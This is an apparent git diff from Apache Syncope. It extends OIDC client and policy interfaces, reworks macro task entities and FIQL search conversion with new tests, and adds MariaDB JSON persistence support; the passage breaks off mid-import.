diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/OIDCRPClientApp.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/OIDCRPClientApp.java index 0667c92f962..6eb3a3b655a 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/OIDCRPClientApp.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/am/OIDCRPClientApp.java @@ -19,9 +19,14 @@ package org.apache.syncope.core.persistence.api.entity.am; import java.util.Set; +import org.apache.syncope.common.lib.types.OIDCApplicationType; +import org.apache.syncope.common.lib.types.OIDCClientAuthenticationMethod; import org.apache.syncope.common.lib.types.OIDCGrantType; import org.apache.syncope.common.lib.types.OIDCResponseType; import org.apache.syncope.common.lib.types.OIDCSubjectType; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionAlg; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionEncoding; +import org.apache.syncope.common.lib.types.OIDCTokenSigningAlg; public interface OIDCRPClientApp extends ClientApp { @@ -39,10 +44,44 @@ public interface OIDCRPClientApp extends ClientApp { Set getSupportedResponseTypes(); + Set getScopes(); + + String getIdTokenIssuer(); + + void setIdTokenIssuer(String idTokenIssuer); + boolean isSignIdToken(); void setSignIdToken(boolean signIdToken); + OIDCTokenSigningAlg getIdTokenSigningAlg(); + + void setIdTokenSigningAlg(OIDCTokenSigningAlg idTokenSigningAlg); + + boolean isEncryptIdToken(); + + void setEncryptIdToken(boolean encryptIdToken); + + OIDCTokenEncryptionAlg getIdTokenEncryptionAlg(); + + void setIdTokenEncryptionAlg(OIDCTokenEncryptionAlg idTokenEncryptionAlg); + + OIDCTokenEncryptionEncoding getIdTokenEncryptionEncoding(); + + void setIdTokenEncryptionEncoding(OIDCTokenEncryptionEncoding idTokenEncryptionEncoding); + + OIDCTokenSigningAlg getUserInfoSigningAlg(); + + void setUserInfoSigningAlg(OIDCTokenSigningAlg userInfoSigningAlg); + + OIDCTokenEncryptionAlg getUserInfoEncryptedResponseAlg(); + + void setUserInfoEncryptedResponseAlg(OIDCTokenEncryptionAlg userInfoEncryptedResponseAlg); + + OIDCTokenEncryptionEncoding getUserInfoEncryptedResponseEncoding(); + + void setUserInfoEncryptedResponseEncoding(OIDCTokenEncryptionEncoding encoding); + boolean isJwtAccessToken(); void setJwtAccessToken(boolean jwtAccessToken); @@ -51,11 +90,32 @@ public interface OIDCRPClientApp extends ClientApp { void setBypassApprovalPrompt(boolean bypassApprovalPrompt); + boolean isGenerateRefreshToken(); + + void setGenerateRefreshToken(boolean generateRefreshToken); + OIDCSubjectType getSubjectType(); void setSubjectType(OIDCSubjectType subjectType); + OIDCApplicationType getApplicationType(); + + void setApplicationType(OIDCApplicationType applicationType); + + String getJwks(); + + void setJwks(String jwks); + + String getJwksUri(); + + void setJwksUri(String jwksUri); + + OIDCClientAuthenticationMethod getTokenEndpointAuthenticationMethod(); + + void setTokenEndpointAuthenticationMethod(OIDCClientAuthenticationMethod tokenEndpointAuthenticationMethod); + String getLogoutUri(); void setLogoutUri(String logoutUri); + } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/AccessPolicy.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/AccessPolicy.java index 1dffe8508b3..1509722f4c8 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/AccessPolicy.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/AccessPolicy.java @@ -18,35 +18,10 @@ */ package org.apache.syncope.core.persistence.api.entity.policy; -import java.net.URI; import org.apache.syncope.common.lib.policy.AccessPolicyConf; public interface AccessPolicy extends Policy { - int getOrder(); - - void setOrder(int order); - - boolean isEnabled(); - - void setEnabled(boolean enabled); - - boolean isSsoEnabled(); - - void setSsoEnabled(boolean ssoEnabled); - - boolean isRequireAllAttributes(); - - void setRequireAllAttributes(boolean requireAllAttributes); - - boolean isCaseInsensitive(); - - void setCaseInsensitive(boolean caseInsensitive); - - URI getUnauthorizedRedirectUrl(); - - void setUnauthorizedRedirectUrl(URI unauthorizedRedirectUrl); - AccessPolicyConf getConf(); void setConf(AccessPolicyConf conf); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/AttrReleasePolicy.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/AttrReleasePolicy.java index ce4f6356779..46e520c3272 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/AttrReleasePolicy.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/AttrReleasePolicy.java @@ -26,7 +26,7 @@ public interface AttrReleasePolicy extends Policy { void setOrder(int order); - Boolean getStatus(); + boolean getStatus(); void setStatus(Boolean status); diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/TicketExpirationPolicy.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/TicketExpirationPolicy.java new file mode 100644 index 00000000000..2b947381fbb --- /dev/null +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/policy/TicketExpirationPolicy.java @@ -0,0 +1,28 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.api.entity.policy; + +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyConf; + +public interface TicketExpirationPolicy extends Policy { + + TicketExpirationPolicyConf getConf(); + + void setConf(TicketExpirationPolicyConf conf); +} diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/FormPropertyDef.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/FormPropertyDef.java new file mode 100644 index 00000000000..551990a886f --- /dev/null +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/FormPropertyDef.java @@ -0,0 +1,77 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.api.entity.task; + +import java.util.Locale; +import java.util.Map; +import java.util.Optional; +import java.util.regex.Pattern; +import org.apache.syncope.common.lib.form.FormPropertyType; +import org.apache.syncope.core.persistence.api.entity.Entity; + +public interface FormPropertyDef extends Entity { + + MacroTask getMacroTask(); + + void setMacroTask(MacroTask macroTask); + + String getName(); + + void setName(String name); + + Optional getLabel(Locale locale); + + Map getLabels(); + + FormPropertyType getType(); + + void setType(FormPropertyType type); + + boolean isReadable(); + + void setReadable(boolean readable); + + boolean isWritable(); + + void setWritable(boolean writable); + + boolean isRequired(); + + void setRequired(boolean required); + + Pattern getStringRegEx(); + + void setStringRegExp(Pattern stringRegEx); + + String getDatePattern(); + + void setDatePattern(String datePattern); + + Map getEnumValues(); + + void setEnumValues(Map enumValues); + + boolean isDropdownSingleSelection(); + + void setDropdownSingleSelection(boolean dropdownSingleSelection); + + boolean isDropdownFreeForm(); + + void setDropdownFreeForm(boolean dropdownFreeForm); +} diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/MacroTask.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/MacroTask.java index 29c68e044e3..e9a6846b806 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/MacroTask.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/MacroTask.java @@ -19,7 +19,6 @@ package org.apache.syncope.core.persistence.api.entity.task; import java.util.List; -import org.apache.syncope.common.lib.command.CommandArgs; import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.Realm; @@ -29,11 +28,17 @@ public interface MacroTask extends SchedTask { void setRealm(Realm realm); - void add(Implementation command, CommandArgs args); + void add(MacroTaskCommand macroTaskCommand); - List getCommands(); + List getCommands(); - List getCommandArgs(); + void add(FormPropertyDef formPropertyDef); + + List getFormPropertyDefs(); + + Implementation getMacroActions(); + + void setMacroAction(Implementation macroActions); boolean isContinueOnError(); diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/rest/TemplateRestClient.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/MacroTaskCommand.java similarity index 61% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/rest/TemplateRestClient.java rename to core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/MacroTaskCommand.java index ec148157401..ed0cb4f3d2c 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/rest/TemplateRestClient.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/task/MacroTaskCommand.java @@ -16,22 +16,23 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.rest; +package org.apache.syncope.core.persistence.api.entity.task; -import java.util.List; -import org.apache.syncope.client.ui.commons.rest.RestClient; +import org.apache.syncope.common.lib.command.CommandArgs; +import org.apache.syncope.core.persistence.api.entity.Entity; +import org.apache.syncope.core.persistence.api.entity.Implementation; -public interface TemplateRestClient extends RestClient { +public interface MacroTaskCommand extends Entity { - List listTemplates(); + MacroTask getMacroTask(); - void createTemplate(T templateTO); + void setMacroTask(MacroTask macroTask); - void deleteTemplate(String key); + Implementation getCommand(); - T readTemplate(String key); + void setCommand(Implementation command); - String readTemplateFormat(String key, F format); + CommandArgs getArgs(); - void updateTemplateFormat(String key, String content, F format); + void setArgs(CommandArgs args); } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/user/User.java b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/user/User.java index f7048599531..352afd92a3f 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/user/User.java +++ b/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/user/User.java @@ -39,10 +39,6 @@ public interface User extends Account, GroupableRelatable { - protected static final Pattern TIMEZONE = Pattern.compile(".* [0-9]{4}$"); - protected static final ThreadLocal REALM = new ThreadLocal<>(); protected static final ThreadLocal SEARCH_COND = new ThreadLocal<>(); @@ -76,15 +72,10 @@ protected static AttrCond createAttrCond(final String schema) { } protected static String getValue(final SearchCondition sc) { - String value = SearchUtils.toSqlWildcardString( - URLDecoder.decode(sc.getStatement().getValue().toString(), StandardCharsets.UTF_8), false). - replaceAll("\\\\_", "_"); - - // see SYNCOPE-1321 - if (TIMEZONE.matcher(value).matches()) { - char[] valueAsArray = value.toCharArray(); - valueAsArray[valueAsArray.length - 5] = '+'; - value = new String(valueAsArray); + String value = SearchUtils.toSqlWildcardString(URLDecoder.decode(sc.getStatement().getValue().toString() + .replace("+", "%2B"), StandardCharsets.UTF_8), false); + if (value.indexOf('%') == -1) { + value = value.replaceAll("\\\\_", "_"); } return value; @@ -200,12 +191,6 @@ protected SearchCond visitPrimitive(final SearchCondition sc) { leaf = SearchCond.getLeaf(dynRealmCond); break; - case ASSIGNABLE: - AssignableCond assignableCond = new AssignableCond(); - assignableCond.setRealmFullPath(REALM.get()); - leaf = SearchCond.getLeaf(assignableCond); - break; - case MEMBER: MemberCond memberCond = new MemberCond(); memberCond.setMember(value); diff --git a/core/persistence-api/src/test/java/org/apache/syncope/core/persistence/api/search/SearchCondConverterTest.java b/core/persistence-api/src/test/java/org/apache/syncope/core/persistence/api/search/SearchCondConverterTest.java index f62d0d37817..b3815b798be 100644 --- a/core/persistence-api/src/test/java/org/apache/syncope/core/persistence/api/search/SearchCondConverterTest.java +++ b/core/persistence-api/src/test/java/org/apache/syncope/core/persistence/api/search/SearchCondConverterTest.java @@ -27,7 +27,6 @@ import org.apache.syncope.common.lib.search.UserFiqlSearchConditionBuilder; import org.apache.syncope.core.persistence.api.dao.search.AnyCond; import org.apache.syncope.core.persistence.api.dao.search.AnyTypeCond; -import org.apache.syncope.core.persistence.api.dao.search.AssignableCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.AuxClassCond; import org.apache.syncope.core.persistence.api.dao.search.DynRealmCond; @@ -251,18 +250,6 @@ public void resources() { assertEquals(leaf, SearchCondConverter.convert(VISITOR, fiql)); } - @Test - public void assignable() { - String fiql = new GroupFiqlSearchConditionBuilder().isAssignable().query(); - assertEquals(SpecialAttr.ASSIGNABLE + "==" + SpecialAttr.NULL, fiql); - - AssignableCond assignableCond = new AssignableCond(); - assignableCond.setRealmFullPath("/even/two"); - SearchCond leaf = SearchCond.getLeaf(assignableCond); - - assertEquals(leaf, SearchCondConverter.convert(VISITOR, fiql, "/even/two")); - } - @Test public void type() { String fiql = new AnyObjectFiqlSearchConditionBuilder("PRINTER").query(); @@ -342,4 +329,46 @@ public void issueSYNCOPE1223() { assertEquals(SearchCond.getLeaf(cond), SearchCondConverter.convert(VISITOR, fiql)); } + + @Test + public void issueSYNCOPE1779() { + String fiql = new UserFiqlSearchConditionBuilder().is("username").equalToIgnoreCase("ros_*").query(); + assertEquals("username=~ros_*", fiql); + + AnyCond anyCond = new AnyCond(AttrCond.Type.ILIKE); + anyCond.setSchema("username"); + anyCond.setExpression("ros\\_%"); + SearchCond leaf = SearchCond.getLeaf(anyCond); + + assertEquals(leaf, SearchCondConverter.convert(VISITOR, fiql)); + + fiql = "name==_018c34a9-f86b-75cf-855b-a3915cc5ff44"; + + anyCond = new AnyCond(AttrCond.Type.EQ); + anyCond.setSchema("name"); + anyCond.setExpression("_018c34a9-f86b-75cf-855b-a3915cc5ff44"); + leaf = SearchCond.getLeaf(anyCond); + + assertEquals(leaf, SearchCondConverter.convert(VISITOR, fiql)); + } + + @Test + public void issueSYNCOPE1826() { + String fiql = new UserFiqlSearchConditionBuilder().is("username").equalToIgnoreCase("sh test app 0722").query(); + assertEquals("username=~sh test app 0722", fiql); + + AnyCond anyCond = new AnyCond(AttrCond.Type.IEQ); + anyCond.setSchema("username"); + anyCond.setExpression("sh test app 0722"); + + assertEquals(SearchCond.getLeaf(anyCond), SearchCondConverter.convert(VISITOR, fiql)); + + fiql = "lastLoginDate==2016-03-02T15:21:22%2B0300"; + + AnyCond lastLoginDateCond = new AnyCond(AttrCond.Type.EQ); + lastLoginDateCond.setSchema("lastLoginDate"); + lastLoginDateCond.setExpression("2016-03-02T15:21:22+0300"); + + assertEquals(SearchCond.getLeaf(lastLoginDateCond), SearchCondConverter.convert(VISITOR, fiql)); + } } diff --git a/core/persistence-jpa-json/pom.xml b/core/persistence-jpa-json/pom.xml index 442e7672ee5..a91a6099505 100644 --- a/core/persistence-jpa-json/pom.xml +++ b/core/persistence-jpa-json/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Persistence JPA JSON @@ -158,35 +158,6 @@ under the License. - - sqlgen - - - true - - - - clean verify - - - - org.apache.openjpa - openjpa-maven-plugin - true - - - sqlgen - process-classes - - sql - - - - - - - - openjpa @@ -194,7 +165,7 @@ under the License. sql - + ojson true @@ -272,11 +243,12 @@ under the License. **/*Test.java multitenancy,plainAttrTable - + ${project.activeProfiles[0].id} classpath:core-pgjsonb.properties,classpath:core-pgjsonb-test.properties ${docker.container.postgres.ip} - + file:${bundles.directory}/ + @@ -385,11 +357,12 @@ under the License. **/*Test.java multitenancy,plainAttrTable - + ${project.activeProfiles[0].id} classpath:core-myjson.properties,classpath:core-myjson-test.properties ${docker.container.mysql.ip} - + file:${bundles.directory}/ + @@ -449,6 +422,120 @@ under the License. + + majson + + + + org.mariadb.jdbc + mariadb-java-client + ${jdbc.mariadb.version} + test + + + + + clean verify + + + + org.codehaus.mojo + build-helper-maven-plugin + + + add-test-source + generate-test-sources + + add-test-source + + + + ${basedir}/../persistence-jpa/src/test/java + + + + + + + + org.apache.maven.plugins + maven-surefire-plugin + + true + + + + org.apache.maven.plugins + maven-failsafe-plugin + + + **/*Test.java + + multitenancy,plainAttrTable + + ${project.activeProfiles[0].id} + classpath:core-majson.properties,classpath:core-majson-test.properties + ${docker.container.mariadb.ip} + file:${bundles.directory}/ + + + + + + io.fabric8 + docker-maven-plugin + + + + mariadb + mariadb:${docker.mariadb.version} + + + password + syncope + syncope + syncope + + + /var/lib/mysql:rw + + + MariaDB init process done. Ready for start up. + + + + + + + + + start-mariadb + pre-integration-test + + start + + + + stop-mariadb + post-integration-test + + stop + remove + + + + + + + + + src/test/resources + true + + + + + ojson @@ -499,11 +586,12 @@ under the License. **/*Test.java multitenancy,plainAttrTable - + ${project.activeProfiles[0].id} classpath:core-ojson.properties,classpath:core-ojson-test.properties ${docker.container.oracle.ip} - + file:${bundles.directory}/ + diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/JPAJSONPersistenceContext.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/JPAJSONPersistenceContext.java index 71be82c43b4..86dcaa280cf 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/JPAJSONPersistenceContext.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/JPAJSONPersistenceContext.java @@ -84,6 +84,7 @@ public GroupDAO groupDAO( final @Lazy PlainSchemaDAO plainSchemaDAO, final @Lazy DerSchemaDAO derSchemaDAO, final @Lazy DynRealmDAO dynRealmDAO, + final @Lazy RealmDAO realmDAO, final @Lazy AnyMatchDAO anyMatchDAO, final @Lazy PlainAttrDAO plainAttrDAO, final @Lazy UserDAO userDAO, @@ -98,6 +99,7 @@ public GroupDAO groupDAO( plainSchemaDAO, derSchemaDAO, dynRealmDAO, + realmDAO, anyMatchDAO, plainAttrDAO, userDAO, @@ -128,7 +130,6 @@ public UserDAO userDAO( final @Lazy DynRealmDAO dynRealmDAO, final @Lazy RoleDAO roleDAO, final @Lazy AccessTokenDAO accessTokenDAO, - final @Lazy RealmDAO realmDAO, final @Lazy GroupDAO groupDAO, final @Lazy DelegationDAO delegationDAO, final @Lazy FIQLQueryDAO fiqlQueryDAO, @@ -141,7 +142,6 @@ public UserDAO userDAO( dynRealmDAO, roleDAO, accessTokenDAO, - realmDAO, groupDAO, delegationDAO, fiqlQueryDAO, diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/MaJPAJSONPersistenceContext.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/MaJPAJSONPersistenceContext.java new file mode 100644 index 00000000000..a35d2a289f8 --- /dev/null +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/MaJPAJSONPersistenceContext.java @@ -0,0 +1,100 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa; + +import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; +import org.apache.syncope.core.persistence.api.dao.AuditConfDAO; +import org.apache.syncope.core.persistence.api.dao.DynRealmDAO; +import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.JPAJSONAnyDAO; +import org.apache.syncope.core.persistence.api.dao.PlainAttrDAO; +import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.jpa.dao.MaJPAJSONAnyDAO; +import org.apache.syncope.core.persistence.jpa.dao.MaJPAJSONAnySearchDAO; +import org.apache.syncope.core.persistence.jpa.dao.MaJPAJSONAuditConfDAO; +import org.apache.syncope.core.persistence.jpa.dao.MaJPAJSONPlainSchemaDAO; +import org.apache.syncope.core.persistence.jpa.entity.MaJPAJSONEntityFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Lazy; + +@ConditionalOnExpression("#{'${provisioning.quartz.sql}' matches '.*mariadb.*'}") +public class MaJPAJSONPersistenceContext extends JPAJSONPersistenceContext { + + @ConditionalOnMissingBean(name = "maJPAJSONEntityFactory") + @Bean + public EntityFactory entityFactory() { + return new MaJPAJSONEntityFactory(); + } + + @ConditionalOnMissingBean(name = "maJPAJSONAnyDAO") + @Bean + public JPAJSONAnyDAO anyDAO(final @Lazy PlainSchemaDAO plainSchemaDAO) { + return new MaJPAJSONAnyDAO(plainSchemaDAO); + } + + @ConditionalOnMissingBean(name = "maJPAJSONAnySearchDAO") + @Bean + public AnySearchDAO anySearchDAO( + final @Lazy RealmDAO realmDAO, + final @Lazy DynRealmDAO dynRealmDAO, + final @Lazy UserDAO userDAO, + final @Lazy GroupDAO groupDAO, + final @Lazy AnyObjectDAO anyObjectDAO, + final @Lazy PlainSchemaDAO schemaDAO, + final @Lazy EntityFactory entityFactory, + final AnyUtilsFactory anyUtilsFactory, + final PlainAttrValidationManager validator) { + + return new MaJPAJSONAnySearchDAO( + realmDAO, + dynRealmDAO, + userDAO, + groupDAO, + anyObjectDAO, + schemaDAO, + entityFactory, + anyUtilsFactory, + validator); + } + + @ConditionalOnMissingBean(name = "maJPAJSONAuditConfDAO") + @Bean + public AuditConfDAO auditConfDAO() { + return new MaJPAJSONAuditConfDAO(); + } + + @ConditionalOnMissingBean(name = "maJPAJSONPlainSchemaDAO") + @Bean + public PlainSchemaDAO plainSchemaDAO( + final AnyUtilsFactory anyUtilsFactory, + final @Lazy PlainAttrDAO plainAttrDAO, + final @Lazy ExternalResourceDAO resourceDAO) { + + return new MaJPAJSONPlainSchemaDAO(anyUtilsFactory, plainAttrDAO, resourceDAO); + } +} diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractJPAJSONAnyDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractJPAJSONAnyDAO.java index 1101148d7ca..c06f89ca11c 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractJPAJSONAnyDAO.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractJPAJSONAnyDAO.java @@ -53,6 +53,29 @@ abstract class AbstractJPAJSONAnyDAO extends AbstractDAO implements JPAJSONAnyDAO { + /** + * Split an attribute value recurring on provided literals/tokens. + * + * @param attrValue value to be split + * @param literals literals/tokens + * @return split value + */ + private static List split(final String attrValue, final List literals) { + List attrValues = new ArrayList<>(); + + if (literals.isEmpty()) { + attrValues.add(attrValue); + } else { + for (String token : attrValue.split(Pattern.quote(literals.get(0)))) { + if (!token.isEmpty()) { + attrValues.addAll(split(token, literals.subList(1, literals.size()))); + } + } + } + + return attrValues; + } + protected final PlainSchemaDAO plainSchemaDAO; protected AbstractJPAJSONAnyDAO(final PlainSchemaDAO plainSchemaDAO) { @@ -129,6 +152,20 @@ protected > List buildResult(final AnyUtils anyUtils, final return result; } + protected String plainAttrQuery( + final String table, + final AnyUtils anyUtils, + final PlainSchema schema, + final PlainAttrValue attrValue, + final boolean ignoreCaseMatch, + final List queryParams) { + + queryParams.add(schema.getKey()); + queryParams.add(getAttrValue(schema, attrValue, ignoreCaseMatch)); + + return queryBegin(table) + "WHERE " + attrValueMatch(anyUtils, schema, attrValue, ignoreCaseMatch); + } + @SuppressWarnings("unchecked") @Transactional(readOnly = true) @Override @@ -144,11 +181,12 @@ public > List findByPlainAttrValue( return List.of(); } + List queryParams = new ArrayList<>(); Query query = entityManager().createNativeQuery( - queryBegin(table) - + "WHERE " + attrValueMatch(anyUtils, schema, attrValue, ignoreCaseMatch)); - query.setParameter(1, schema.getKey()); - query.setParameter(2, getAttrValue(schema, attrValue, ignoreCaseMatch)); + plainAttrQuery(table, anyUtils, schema, attrValue, ignoreCaseMatch, queryParams)); + for (int i = 0; i < queryParams.size(); i++) { + query.setParameter(i + 1, queryParams.get(i)); + } return buildResult(anyUtils, query.getResultList()); } @@ -177,31 +215,8 @@ public > Optional findByPlainAttrUniqueValue( : Optional.of(result.get(0)); } - /** - * Split an attribute value recurring on provided literals/tokens. - * - * @param attrValue value to be split - * @param literals literals/tokens - * @return split value - */ - protected List split(final String attrValue, final List literals) { - List attrValues = new ArrayList<>(); - - if (literals.isEmpty()) { - attrValues.add(attrValue); - } else { - for (String token : attrValue.split(Pattern.quote(literals.get(0)))) { - if (!token.isEmpty()) { - attrValues.addAll(split(token, literals.subList(1, literals.size()))); - } - } - } - - return attrValues; - } - @SuppressWarnings("unchecked") - protected List findByDerAttrValue( + private List findByDerAttrValue( final String table, final Map> clauses) { @@ -302,26 +317,18 @@ public > List findByDerAttrValue( // clear builder bld.delete(0, bld.length()); - PlainAttrValue attrValue; - if (schema.isUniqueConstraint()) { - attrValue = anyUtils.newPlainAttrUniqueValue(); - } else { - attrValue = anyUtils.newPlainAttrValue(); - } + PlainAttrValue attrValue = schema.isUniqueConstraint() + ? anyUtils.newPlainAttrUniqueValue() + : anyUtils.newPlainAttrValue(); attrValue.setStringValue(attrValues.get(i)); + List queryParams = new ArrayList<>(); bld.append('('). - append(queryBegin(table)). - append("WHERE "). - append(attrValueMatch(anyUtils, schema, attrValue, ignoreCaseMatch)). + append(plainAttrQuery(table, anyUtils, schema, attrValue, ignoreCaseMatch, queryParams)). append(')'); used.add(identifiers.get(i)); - List queryParams = new ArrayList<>(); - queryParams.add(schema.getKey()); - queryParams.add(getAttrValue(schema, attrValue, ignoreCaseMatch)); - clauses.put(bld.toString(), queryParams); } } diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAJSONGroupDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAJSONGroupDAO.java index 281bef1b16d..c51473176e5 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAJSONGroupDAO.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAJSONGroupDAO.java @@ -28,6 +28,7 @@ import org.apache.syncope.core.persistence.api.dao.JPAJSONAnyDAO; import org.apache.syncope.core.persistence.api.dao.PlainAttrDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.DerSchema; @@ -49,6 +50,7 @@ public JPAJSONGroupDAO( final PlainSchemaDAO plainSchemaDAO, final DerSchemaDAO derSchemaDAO, final DynRealmDAO dynRealmDAO, + final RealmDAO realmDAO, final AnyMatchDAO anyMatchDAO, final PlainAttrDAO plainAttrDAO, final UserDAO userDAO, @@ -62,6 +64,7 @@ public JPAJSONGroupDAO( plainSchemaDAO, derSchemaDAO, dynRealmDAO, + realmDAO, anyMatchDAO, plainAttrDAO, userDAO, diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAJSONUserDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAJSONUserDAO.java index 9d61c68015e..0e514159ae1 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAJSONUserDAO.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAJSONUserDAO.java @@ -22,7 +22,6 @@ import java.util.Optional; import java.util.Set; import org.apache.commons.lang3.tuple.Pair; -import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; import org.apache.syncope.core.persistence.api.dao.AccessTokenDAO; import org.apache.syncope.core.persistence.api.dao.DelegationDAO; import org.apache.syncope.core.persistence.api.dao.DerSchemaDAO; @@ -31,7 +30,6 @@ import org.apache.syncope.core.persistence.api.dao.GroupDAO; import 